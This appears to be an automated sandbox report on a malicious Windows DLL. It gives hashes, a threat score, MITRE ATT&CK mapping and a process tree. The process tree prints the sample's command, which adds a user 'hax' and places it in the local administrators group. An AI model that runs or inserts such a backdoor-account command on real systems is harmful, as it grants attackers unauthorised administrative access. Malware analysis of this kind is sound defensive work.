7ac7ebc5884f6bbf049513de2c0384a9ff6f15194c23e66c23378010ec3a4056

Analysis

max time kernel
91s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
12/02/2024, 02:46

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General

Target

7ac7ebc5884f6bbf049513de2c0384a9ff6f15194c23e66c23378010ec3a4056.dll
Size

523KB
MD5

4343b9f0e1e7c48438540363710bb73d
SHA1

83407f59bc3e32b25405675c4b05b2e7f8156421
SHA256

7ac7ebc5884f6bbf049513de2c0384a9ff6f15194c23e66c23378010ec3a4056
SHA512

6a7222b8741682d8d6bab5c28225f26f985944eab0657a0eb07eb4d75d395554d8b859c11030440aaf7829e9ce14f03cbc62d09a350a424bc604ab70b3a08c40
SSDEEP

6144:vif0g6k/mf3vpjfUnvCstwmeiUJ5s/yna2i35PFJF/h7yQ6:vK0gjmf3xfU6suxjTs/QbitX/

Score

9^/10

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Runs net.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 3440	1204	rundll32.exe	84
PID 1204 wrote to memory of 3440	1204	rundll32.exe	84
PID 3440 wrote to memory of 2620	3440	cmd.exe	86
PID 3440 wrote to memory of 2620	3440	cmd.exe	86
PID 2620 wrote to memory of 3604	2620	net.exe	87
PID 2620 wrote to memory of 3604	2620	net.exe	87
PID 3440 wrote to memory of 3276	3440	cmd.exe	88
PID 3440 wrote to memory of 3276	3440	cmd.exe	88
PID 3276 wrote to memory of 2164	3276	net.exe	89
PID 3276 wrote to memory of 2164	3276	net.exe	89

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\7ac7ebc5884f6bbf049513de2c0384a9ff6f15194c23e66c23378010ec3a4056.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\system32\cmd.exe
  /K net user /add hax hax && net localgroup administrators hax /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\system32\net.exe
    net user /add hax hax
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2620
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add hax hax
      4⤵
      PID:3604
- - C:\Windows\system32\net.exe
    net localgroup administrators hax /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators hax /add
      4⤵
      PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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